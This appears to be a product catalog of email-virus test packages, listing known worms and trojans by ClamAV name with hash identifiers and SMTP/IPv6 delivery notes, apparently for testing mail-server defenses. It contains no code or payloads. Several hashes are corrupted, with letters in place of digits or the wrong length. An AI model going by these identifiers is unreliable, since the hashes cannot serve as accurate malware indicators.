Detailed Description:	This is the email virus Worm.Sonic.55 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca569c3756b93860df821d8a81930124. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Kivi.kiv.b84e6f52_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Kivi.kiv (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Kivi.kiv as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Kivi.kiv. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AC.d7df9ba6.xml
Executive Description:	Email Virus Worm.Bagle.AC
Detailed Description:	This is the email virus Worm.Bagle.AC as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d7df9ba669116b1ea8fb5c600f048c94. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Desos.a.a.e84ab293.xml
Executive Description:	Email Virus Email-Worm.Win32.Desos.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Desos.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Desos.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AD.e355f889.xml
Executive Description:	Email Virus Worm.SomeFool.AD
Detailed Description:	This is the email virus Worm.SomeFool.AD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e355f8895da5c1de6d0251ad57b9dc70. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Tossed.8b789e63_IPv6.xml

Executive Description:	Email Virus Worm.Tossed (IPv6 Version)
Detailed Description:	This is the email virus Worm.Tossed as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8b789e63163d1395b7a04529adbf6a96. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.BWG.e.e.04e84f95_IPv6.xml
Executive Description:	Email Virus (IPv6 Version)
Detailed Description:	This is the email virus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.BWG.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.H.543c358d_IPv6.xml
Executive Description:	Email Virus Worm.Klez.H (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 543c358d51a949d6584f568bc3ac465b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Razor.a.a.48860712.xml
Executive Description:	Email Virus Email-Worm.VBS.Razor.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Razor.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Razor.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.6ea5131e_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6ea5131e2e9f71d92b0362817bf93781. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Totilix.B.adl47327.xml
Executive Description:	Email Virus Worm.Totilix.B
Detailed Description:	This is the email virus Worm.Totilix.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: adl473275ac9414b18f59754208107a0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Nemit.b.b.6clef977_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Nemit.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Nemit.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Nemit.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.L.7951d724.xml
Executive Description:	Email Virus Worm.Lee.L
Detailed Description:	This is the email virus Worm.Lee.L as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7951d7246472fa9f9ae236a29b81522f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lee.C.e2258b28_IPv6.xml
Executive Description:	Email Virus Worm.Lee.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e2258b286f63d0acf39bb06a4fb44815. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Calgary.b.b.b311f402_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Calgary.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Calgary.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Calgary.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Q.04871d17.xml
Executive Description:	Email Virus Worm.SomeFool.Q
Detailed Description:	This is the email virus Worm.SomeFool.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 04871d17dbbd1911afc76aad6d9dbd20. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Zircon.e.e.30c5e0b4.xml
Executive Description:	Email Virus Email-Worm.Win32.Zircon.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Zircon.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zircon.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-34.8561d3f2.xml
Executive Description:	Email Virus Trojan.Killav-34
Detailed Description:	This is the email virus Trojan.Killav-34 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8561d3f2c7c7d156f93965c9984cd919. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.i.i.58c6c324_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.i.i (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.i.i. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.B6.ade4acfb_IPv6.xml
Executive Description:	Email Virus W32.Magistr.B6 (IPv6 Version)
Detailed Description:	This is the email virus W32.Magistr.B6 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ade4acfb6cale7737f6167f104d4986a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.c.bc74b5f2_IPv6.xml
Executive Description:	Email Virus Worm.Jerm.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Jerm.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bc74b5f218ae107463a128e292b56032. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.fddd2c80_IPv6.xml
Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fddd2c80b880ea0148b50be9007c4ed9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Par.a4609cb8_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Par (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Par as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4609cb8ld8e69026f0aa3a2e83ff370. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Unicle.B.3e34f872_IPv6.xml
Executive Description:	Email Virus Worm.Unicle.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Unicle.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3e34f8723c3bfad9923c61cbff44d52b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.f2db87b3_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2db87b351770e5995e9fcaad47d9591. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Trilisa.de3a28ef_IPv6.xml
Executive Description:	Email Virus W32.Trilisa (IPv6 Version)
Detailed Description:	This is the email virus W32.Trilisa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de3a28ef920c9Fa4d6df342b17b389db. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Urbe.a.c3891f3d.xml
Executive Description:	Email Virus Worm.Urbe.a
Detailed Description:	This is the email virus Worm.Urbe.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3891f3d28a0a46fa6abee6d5ada947. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	W32.Hybris.C.ab4ac052.xml
Executive Description:	Email Virus W32.Hybris.C
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab4ac05206c649048c74da60ffaecc89. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.f98ebfc2.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f98ebfc238698fa3fe70a62731c267d6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Antites.cdl5440a_IPv6.xml
Executive Description:	Email Virus Worm.Antites (IPv6 Version)
Detailed Description:	This is the email virus Worm.Antites as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cdl5440a7c4a6668349e3fe6232a956a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Par.a4609cb8.xml
Executive Description:	Email Virus Worm.VBS.Par
Detailed Description:	This is the email virus Worm.VBS.Par as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4609cb81d8e69026f0aa3a2e83ff370. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Largepile.fb31972b_IPv6.xml
Executive Description:	Email Virus Worm.Largepile (IPv6 Version)
Detailed Description:	This is the email virus Worm.Largepile as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fb31972bb1bbf4254481606cf82dd535. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Luna.B.1d4d25a1.xml
Executive Description:	Email Virus Worm.Luna.B
Detailed Description:	This is the email virus Worm.Luna.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d4d25alcfffee604e50d6880ea87307d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Noon.B.6b461fc5_IPv6.xml
Executive Description:	Email Virus Worm.Noon.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Noon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6b461fc5b0a4bf7d767cf06eedf2d4bd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maldal.c.86e97dd2_IPv6.xml
Executive Description:	Email Virus Worm.Maldal.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Maldal.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 86e97dd2a19e369c5f601a8952762637. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.d02de7ae_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d02de7ae9bd7c03da86a38a48a85bcfa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Kivi.kiv.b84e6f52.xml
Executive Description:	Email Virus Email-Worm.VBS.Kivi.kiv
Detailed Description:	This is the email virus Email-Worm.VBS.Kivi.kiv as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Kivi.kiv. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zoek.dll.dll.3c584e88_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Zoek.dll.dll (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Zoek.dll.dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zoek.dll.dll. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.NHKR.a.fc9d1bel.xml
Executive Description:	Email Virus Worm.NHKR.a
Detailed Description:	This is the email virus Worm.NHKR.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc9d1bel19de9edd8569e6fa9f452b521. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Guorm.46042fdd.xml
Executive Description:	Email Virus Worm.Guorm
Detailed Description:	This is the email virus Worm.Guorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 46042fdd55791a0b61e991c730db8d39. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.BWG.C.3d3b062a.xml
Executive Description:	Email Virus VBS.BWG.C
Detailed Description:	This is the email virus VBS.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d3b062a999e5355e0ca86d89a933b3f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SLight.fl90278.xml
Executive Description:	Email Virus Worm.SLight
Detailed Description:	This is the email virus Worm.SLight as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fl90278a75cf8c17ac2a43f91284bf6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Tossed.8b789e63.xml
Executive Description:	Email Virus Worm.Tossed
Detailed Description:	This is the email virus Worm.Tossed as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8b789e63163d1395b7a04529adb6a96. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Xinap.xin.22b12289_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.Xinap.xin (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.Xinap.xin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Xinap.xin. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LifeStages.B.b596bedf_IPv6.xml
Executive Description:	Email Virus VBS.LifeStages.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.LifeStages.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b596bedfc7c64eaf48097167710c7633. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Funny.6dc98b4d.xml
Executive Description:	Email Virus Worm.Funny
Detailed Description:	This is the email virus Worm.Funny as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dc98b4d0e7d987c0dfd3f5e7ca530b1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Nothing.1fe97570_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Nothing (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Nothing as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1fe97570197438787d086f5f6a8e044d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Trilissa.h.h.fb6e7488_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Trilissa.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Trilissa.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Trilissa.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.6dbdb716_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dbdb716859b6b5a47f10571cf2eabed. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.15laf978_IPv6.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 15laf9780795eaead8bf0cd427068c0a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nihilit.J.bb2ae190_IPv6.xml
Executive Description:	Email Virus Worm.Nihilit.J (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nihilit.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb2ae1906ab1170d1057e80ebcb0ddcd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.160a2c19.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 160a2c19abcf721dc24dd23528a57595. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.09116bae_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 09116bae4b15707d4fffd27019f887469. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.PrettyPark.f7d91ea8_IPv6.xml
Executive Description:	Email Virus W32.PrettyPark (IPv6 Version)
Detailed Description:	This is the email virus W32.PrettyPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7d91ea83309acb300676c02e6c875cb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.San.A.2e69f2fa.xml
Executive Description:	Email Virus VBS.San.A
Detailed Description:	This is the email virus VBS.San.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e69f2faldfcf256549cca809cc4c9d6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.64043.640.7268bf4d.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.64043.640
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.64043.640 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.64043.640. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BAT.HelOOOn.A.8829ab0a.xml
Executive Description:	Email Virus BAT.HelOOOn.A
Detailed Description:	This is the email virus BAT.HelOOOn.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8829ab0a6831e990a53a905799417d10. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.20650c59.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20650c59258c9a25526ec65b91dlfba9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.q.q.a9548bb5.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.q.q
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.q.q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.q.q. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Matcher.mat.2eb06el8.xml
Executive Description:	Email Virus Email-Worm.Win32.Matcher.mat

Detailed Description:	This is the email virus Email-Worm.Win32.Matcher.mat as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Matcher.mat. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.55aac909_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 55aac9091886877d5124bcf27d6bfd84. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Neton.net.022d587f_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Neton.net (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Neton.net as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Neton.net. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maddas.0c1dd269_IPv6.xml
Executive Description:	Email Virus Worm.Maddas (IPv6 Version)
Detailed Description:	This is the email virus Worm.Maddas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c1dd2693ec0f5d2be79d04fd11b898e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.ItPoem.itp.c1e1beaf3.xml
Executive Description:	Email Virus Email-Worm.VBS.ItPoem.itp
Detailed Description:	This is the email virus Email-Worm.VBS.ItPoem.itp as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.ItPoem.itp. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.ea4de788.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ea4de7885eb8a954ffeb3d775062c27f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Bat.Camile.b7de570b_IPv6.xml
Executive Description:	Email Virus Bat.Camile (IPv6 Version)
Detailed Description:	This is the email virus Bat.Camile as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7de570bb0191d8278caf8b0770b0849. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.F.a052ff2b.xml
Executive Description:	Email Virus Worm.MyPics.F
Detailed Description:	This is the email virus Worm.MyPics.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a052ff2b9b0641b987c82bb7253eceda. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.ec7c4e01_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ec7c4e012fd450c94a98254b2aa89992. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yaha.P.ba9cbc0d_IPv6.xml
Executive Description:	Email Virus Worm.Yaha.P (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yaha.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ba9cbc0dee19184251aa9df5427320ce. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovelorn.2.82eee862.xml
Executive Description:	Email Virus Worm.Lovelorn.2
Detailed Description:	This is the email virus Worm.Lovelorn.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82eee862b88963aa7c0bedf7089e41a0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Dropper.C.336b1bcc_IPv6.xml

Executive Description:	Email Virus Trojan.Dropper.C (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Dropper.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 336b1bccca9e246e664c8674110114c2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Updater.A.a233033b.xml
Executive Description:	Email Virus Worm.Updater.A
Detailed Description:	This is the email virus Worm.Updater.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a233033bcfd2dc7aalbe4b41eb6af33b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Stration.AL-1.4988ef8f_IPv6.xml
Executive Description:	Email Virus Worm.Stration.AL-1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Stration.AL-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4988ef8f16b40fc96f0bbe410df30702. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.HappyTime.166ca5f7.xml
Executive Description:	Email Virus Worm.HappyTime
Detailed Description:	This is the email virus Worm.HappyTime as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 166ca5f7fb480b5882f8bb99ebd78b8b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.ZWMVC.zwm.6cf6479f_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.ZWMVC.zwm (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.ZWMVC.zwm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.ZWMVC.zwm. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Energy.g.g.655b604b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Energy.g.g (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Energy.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Energy.g.g. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bumdoc.1.8fd4eeb1.xml
Executive Description:	Email Virus Worm.Bumdoc.1
Detailed Description:	This is the email virus Worm.Bumdoc.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8fd4eeb1a78f03ccc7657f78c93029f2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.e4b9069b.xml
Executive Description:	Email Virus Worm.Hatred.b
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4b9069baf28d21bdd6cd05305008bc5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.v.922f647d.xml
